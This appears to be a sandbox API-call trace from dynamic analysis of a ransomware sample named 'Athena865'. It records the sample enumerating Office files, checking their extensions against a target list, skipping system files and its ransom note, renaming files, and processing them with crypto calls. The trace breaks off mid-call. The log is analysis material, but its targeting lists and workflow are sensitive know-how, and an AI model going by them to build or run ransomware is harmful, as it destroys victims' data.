lstrcmpiW (lpString1="GRA", lpString2="sdb") returned -1 [0140.858] lstrlenW (lpString="sdc") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="sdc") returned -1 [0140.859] lstrlenW (lpString="sdf") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="sdf") returned -1 [0140.859] lstrlenW (lpString="sis") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="sis") returned -1 [0140.859] lstrlenW (lpString="spq") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="spq") returned -1 [0140.859] lstrlenW (lpString="te") returned 2 [0140.859] lstrcmpiW (lpString1="RA", lpString2="te") returned -1 [0140.859] lstrlenW (lpString="teacher") returned 7 [0140.859] lstrcmpiW (lpString1="LRY.GRA", lpString2="teacher") returned -1 [0140.859] lstrlenW (lpString="tmd") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="tmd") returned -1 [0140.859] lstrlenW (lpString="tps") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="tps") returned -1 [0140.859] lstrlenW (lpString="trc") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="trc") returned -1 [0140.859] lstrlenW (lpString="trc") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="trc") returned -1 [0140.859] lstrlenW (lpString="trm") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="trm") returned -1 [0140.859] lstrlenW (lpString="udb") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="udb") returned -1 [0140.859] lstrlenW (lpString="udl") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="udl") returned -1 [0140.859] lstrlenW (lpString="usr") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="usr") returned -1 [0140.859] lstrlenW (lpString="v12") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="v12") returned -1 [0140.859] lstrlenW (lpString="vis") returned 3 [0140.859] lstrcmpiW (lpString1="GRA", lpString2="vis") returned -1 [0140.860] lstrlenW (lpString="vpd") returned 3 [0140.860] lstrcmpiW (lpString1="GRA", lpString2="vpd") returned -1 [0140.860] lstrlenW (lpString="vvv") returned 3 [0140.860] lstrcmpiW (lpString1="GRA", lpString2="vvv") returned -1 [0140.860] lstrlenW (lpString="wdb") returned 3 [0140.860] lstrcmpiW (lpString1="GRA", lpString2="wdb") returned -1 [0140.860] lstrlenW (lpString="wmdb") returned 4 [0140.860] lstrcmpiW (lpString1=".GRA", lpString2="wmdb") returned -1 [0140.860] lstrlenW (lpString="wrk") returned 3 [0140.860] lstrcmpiW (lpString1="GRA", lpString2="wrk") returned -1 [0140.860] lstrlenW (lpString="xdb") returned 3 [0140.860] lstrcmpiW (lpString1="GRA", lpString2="xdb") returned -1 [0140.860] lstrlenW (lpString="xld") returned 3 [0140.860] lstrcmpiW (lpString1="GRA", lpString2="xld") returned -1 [0140.860] lstrlenW (lpString="xmlff") returned 5 [0140.860] lstrcmpiW (lpString1="Y.GRA", lpString2="xmlff") returned 1 [0140.860] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.Athena865") returned 70 [0140.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.athena865"), dwFlags=0x1) returned 1 [0140.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.862] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=186880) returned 1 [0140.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.862] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.863] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.863] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.863] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2dd00, lpName=0x0) returned 0x154 [0140.865] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2dd00) returned 0x170000 [0140.871] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.872] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.872] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.873] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0140.874] CloseHandle (hObject=0x154) returned 1 [0140.874] CloseHandle (hObject=0x17c) returned 1 [0140.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.875] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61152c00, ftCreationTime.dwHighDateTime=0x1c6e5fa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61152c00, ftLastWriteTime.dwHighDateTime=0x1c6e5fa, nFileSizeHigh=0x0, nFileSizeLow=0x94f26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRAPH.HXS", cAlternateFileName="")) returned 1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2=".") returned 1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="..") returned 1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="windows") returned -1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="bootmgr") returned 1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="temp") returned -1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="pagefile.sys") returned -1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="boot") returned 1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="ids.txt") returned -1 [0140.875] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="ntuser.dat") returned -1 [0140.876] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="perflogs") returned -1 [0140.876] lstrcmpiW (lpString1="GRAPH.HXS", lpString2="MSBuild") returned -1 [0140.876] lstrlenW (lpString="GRAPH.HXS") returned 9 [0140.876] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GRAPH.HXS" | out: lpString1="GRAPH.HXS") returned="GRAPH.HXS" [0140.876] lstrlenW (lpString="GRAPH.HXS") returned 9 [0140.876] lstrlenW (lpString="Athena865") returned 9 [0140.876] lstrlenW (lpString=".dll") returned 4 [0140.876] lstrcmpiW (lpString1="GRAPH.HXS", lpString2=".dll") returned 1 [0140.876] lstrlenW (lpString=".lnk") returned 4 [0140.876] lstrcmpiW (lpString1="GRAPH.HXS", lpString2=".lnk") returned 1 [0140.876] lstrlenW (lpString=".ini") returned 4 [0140.876] lstrcmpiW (lpString1="GRAPH.HXS", lpString2=".ini") returned 1 [0140.876] lstrlenW (lpString=".sys") returned 4 [0140.876] lstrcmpiW (lpString1="GRAPH.HXS", lpString2=".sys") returned 1 [0140.876] lstrlenW (lpString="GRAPH.HXS") returned 9 [0140.876] lstrlenW (lpString="bak") returned 3 [0140.876] lstrcmpiW (lpString1="HXS", lpString2="bak") returned 1 [0140.876] lstrlenW (lpString="ba_") returned 3 [0140.876] lstrcmpiW (lpString1="HXS", lpString2="ba_") returned 1 [0140.876] lstrlenW (lpString="dbb") returned 3 [0140.876] lstrcmpiW (lpString1="HXS", lpString2="dbb") returned 1 [0140.876] lstrlenW (lpString="vmdk") returned 4 [0140.876] lstrcmpiW (lpString1=".HXS", lpString2="vmdk") returned -1 [0140.876] lstrlenW (lpString="rar") returned 3 [0140.876] lstrcmpiW (lpString1="HXS", lpString2="rar") returned -1 [0140.876] lstrlenW (lpString="zip") returned 3 [0140.876] lstrcmpiW (lpString1="HXS", lpString2="zip") returned -1 [0140.876] lstrlenW (lpString="tgz") returned 3 [0140.876] lstrcmpiW (lpString1="HXS", lpString2="tgz") returned -1 [0140.876] lstrlenW (lpString="vbox") returned 4 [0140.877] lstrcmpiW (lpString1=".HXS", lpString2="vbox") returned -1 [0140.877] lstrlenW (lpString="vdi") returned 3 [0140.877] lstrcmpiW (lpString1="HXS", lpString2="vdi") returned -1 [0140.877] lstrlenW (lpString="vhd") returned 3 [0140.877] lstrcmpiW (lpString1="HXS", lpString2="vhd") returned -1 [0140.877] lstrlenW (lpString="vhdx") returned 4 [0140.877] lstrcmpiW (lpString1=".HXS", lpString2="vhdx") returned -1 [0140.877] lstrlenW (lpString="avhd") returned 4 [0140.877] lstrcmpiW (lpString1=".HXS", lpString2="avhd") returned -1 [0140.877] lstrlenW (lpString="db") returned 2 [0140.877] lstrcmpiW (lpString1="XS", lpString2="db") returned 1 [0140.877] lstrlenW (lpString="db2") returned 3 [0140.877] lstrcmpiW (lpString1="HXS", lpString2="db2") returned 1 [0140.877] lstrlenW (lpString="db3") returned 3 [0140.877] lstrcmpiW (lpString1="HXS", lpString2="db3") returned 1 [0140.877] lstrlenW (lpString="dbf") returned 3 [0140.877] lstrcmpiW (lpString1="HXS", lpString2="dbf") returned 1 [0140.877] lstrlenW (lpString="mdf") returned 3 [0140.877] lstrcmpiW (lpString1="HXS", lpString2="mdf") returned -1 [0140.877] lstrlenW (lpString="mdb") returned 3 [0140.877] lstrcmpiW (lpString1="HXS", lpString2="mdb") returned -1 [0140.877] lstrlenW (lpString="sql") returned 3 [0140.877] lstrcmpiW (lpString1="HXS", lpString2="sql") returned -1 [0140.877] lstrlenW (lpString="sqlite") returned 6 [0140.877] lstrcmpiW (lpString1="PH.HXS", lpString2="sqlite") returned -1 [0140.877] lstrlenW (lpString="sqlite3") returned 7 [0140.877] lstrcmpiW (lpString1="APH.HXS", lpString2="sqlite3") returned -1 [0140.877] lstrlenW (lpString="sqlitedb") returned 8 [0140.877] lstrcmpiW (lpString1="RAPH.HXS", lpString2="sqlitedb") returned -1 [0140.877] lstrlenW (lpString="xml") returned 3 [0140.877] lstrcmpiW (lpString1="HXS", lpString2="xml") returned -1 [0140.878] lstrlenW (lpString="$er") returned 3 [0140.878] lstrcmpiW (lpString1="HXS", lpString2="$er") returned 1 [0140.878] lstrlenW (lpString="4dd") returned 3 [0140.878] lstrcmpiW (lpString1="HXS", lpString2="4dd") returned 1 [0140.878] lstrlenW (lpString="4dl") returned 3 [0140.878] lstrcmpiW (lpString1="HXS", lpString2="4dl") returned 1 [0140.878] lstrlenW (lpString="^^^") returned 3 [0140.878] lstrcmpiW (lpString1="HXS", lpString2="^^^") returned 1 [0140.878] lstrlenW (lpString="abs") returned 3 [0140.878] lstrcmpiW (lpString1="HXS", lpString2="abs") returned 1 [0140.878] lstrlenW (lpString="abx") returned 3 [0140.878] lstrcmpiW (lpString1="HXS", lpString2="abx") returned 1 [0140.878] lstrlenW (lpString="accdb") returned 5 [0140.878] lstrcmpiW (lpString1="H.HXS", lpString2="accdb") returned 1 [0140.878] lstrlenW (lpString="accdc") returned 5 [0140.878] lstrcmpiW (lpString1="H.HXS", lpString2="accdc") returned 1 [0140.878] lstrlenW (lpString="accde") returned 5 [0140.878] lstrcmpiW (lpString1="H.HXS", lpString2="accde") returned 1 [0140.878] lstrlenW (lpString="accdr") returned 5 [0140.878] lstrcmpiW (lpString1="H.HXS", lpString2="accdr") returned 1 [0140.878] lstrlenW (lpString="accdt") returned 5 [0140.878] lstrcmpiW (lpString1="H.HXS", lpString2="accdt") returned 1 [0140.878] lstrlenW (lpString="accdw") returned 5 [0140.878] lstrcmpiW (lpString1="H.HXS", lpString2="accdw") returned 1 [0140.878] lstrlenW (lpString="accft") returned 5 [0140.878] lstrcmpiW (lpString1="H.HXS", lpString2="accft") returned 1 [0140.878] lstrlenW (lpString="adb") returned 3 [0140.878] lstrcmpiW (lpString1="HXS", lpString2="adb") returned 1 [0140.878] lstrlenW (lpString="adb") returned 3 [0140.878] lstrcmpiW (lpString1="HXS", lpString2="adb") returned 1 [0140.879] lstrlenW (lpString="ade") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="ade") returned 1 [0140.879] lstrlenW (lpString="adf") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="adf") returned 1 [0140.879] lstrlenW (lpString="adn") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="adn") returned 1 [0140.879] lstrlenW (lpString="adp") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="adp") returned 1 [0140.879] lstrlenW (lpString="alf") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="alf") returned 1 [0140.879] lstrlenW (lpString="ask") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="ask") returned 1 [0140.879] lstrlenW (lpString="btr") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="btr") returned 1 [0140.879] lstrlenW (lpString="cat") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="cat") returned 1 [0140.879] lstrlenW (lpString="cdb") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="cdb") returned 1 [0140.879] lstrlenW (lpString="ckp") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="ckp") returned 1 [0140.879] lstrlenW (lpString="cma") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="cma") returned 1 [0140.879] lstrlenW (lpString="cpd") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="cpd") returned 1 [0140.879] lstrlenW (lpString="dacpac") returned 6 [0140.879] lstrcmpiW (lpString1="PH.HXS", lpString2="dacpac") returned 1 [0140.879] lstrlenW (lpString="dad") returned 3 [0140.879] lstrcmpiW (lpString1="HXS", lpString2="dad") returned 1 [0140.879] lstrlenW (lpString="dadiagrams") returned 10 [0140.880] lstrlenW (lpString="daschema") returned 8 [0140.880] lstrcmpiW (lpString1="RAPH.HXS", lpString2="daschema") returned 1 [0140.880] lstrlenW (lpString="db-journal") returned 10 [0140.880] lstrlenW (lpString="db-shm") returned 6 [0140.880] lstrcmpiW (lpString1="PH.HXS", lpString2="db-shm") returned 1 [0140.880] lstrlenW (lpString="db-wal") returned 6 [0140.880] lstrcmpiW (lpString1="PH.HXS", lpString2="db-wal") returned 1 [0140.880] lstrlenW (lpString="dbc") returned 3 [0140.880] lstrcmpiW (lpString1="HXS", lpString2="dbc") returned 1 [0140.880] lstrlenW (lpString="dbs") returned 3 [0140.880] lstrcmpiW (lpString1="HXS", lpString2="dbs") returned 1 [0140.880] lstrlenW (lpString="dbt") returned 3 [0140.880] lstrcmpiW (lpString1="HXS", lpString2="dbt") returned 1 [0140.880] lstrlenW (lpString="dbv") returned 3 [0140.880] lstrcmpiW (lpString1="HXS", lpString2="dbv") returned 1 [0140.880] lstrlenW (lpString="dbx") returned 3 [0140.880] lstrcmpiW (lpString1="HXS", lpString2="dbx") returned 1 [0140.880] lstrlenW (lpString="dcb") returned 3 [0140.880] lstrcmpiW (lpString1="HXS", lpString2="dcb") returned 1 [0140.880] lstrcmpiW (lpString1="HXS", lpString2="dct") returned 1 [0140.880] lstrcmpiW (lpString1="HXS", lpString2="dcx") returned 1 [0140.880] lstrcmpiW (lpString1="HXS", lpString2="ddl") returned 1 [0140.881] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.Athena865") returned 67 [0140.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.athena865"), dwFlags=0x1) returned 1 [0140.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.882] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=610086) returned 1 [0140.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.883] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.883] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.883] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.884] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x95230, lpName=0x0) returned 0x154 [0140.885] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x95230) returned 0x2bb0000 [0140.903] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.904] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.904] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.905] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0140.910] CloseHandle (hObject=0x154) returned 1 [0140.910] CloseHandle (hObject=0x17c) returned 1 [0140.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.913] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="GRAPH_~1.HXC")) returned 1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2=".") returned 1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="..") returned 1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="windows") returned -1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="bootmgr") returned 1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="temp") returned -1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="pagefile.sys") returned -1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="boot") returned 1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="ids.txt") returned -1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="ntuser.dat") returned -1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="perflogs") returned -1 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2="MSBuild") returned -1 [0140.913] lstrlenW (lpString="GRAPH_COL.HXC") returned 13 [0140.913] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GRAPH_COL.HXC" | out: lpString1="GRAPH_COL.HXC") returned="GRAPH_COL.HXC" [0140.913] lstrlenW (lpString="GRAPH_COL.HXC") returned 13 [0140.913] lstrlenW (lpString="Athena865") returned 9 [0140.913] lstrcmpiW (lpString1="H_COL.HXC", lpString2="Athena865") returned 1 [0140.913] lstrlenW (lpString=".dll") returned 4 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2=".dll") returned 1 [0140.913] lstrlenW (lpString=".lnk") returned 4 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2=".lnk") returned 1 [0140.913] lstrlenW (lpString=".ini") returned 4 [0140.913] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2=".ini") returned 1 [0140.913] lstrlenW (lpString=".sys") returned 4 [0140.914] lstrcmpiW (lpString1="GRAPH_COL.HXC", lpString2=".sys") returned 1 [0140.914] lstrlenW (lpString="GRAPH_COL.HXC") returned 13 [0140.914] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.Athena865") returned 71 [0140.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.athena865"), dwFlags=0x1) returned 1 [0140.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.916] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=621) returned 1 [0140.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.916] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.917] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.917] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.917] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x154 [0140.919] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000 [0140.919] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.920] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.920] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.921] HeapFree (in: 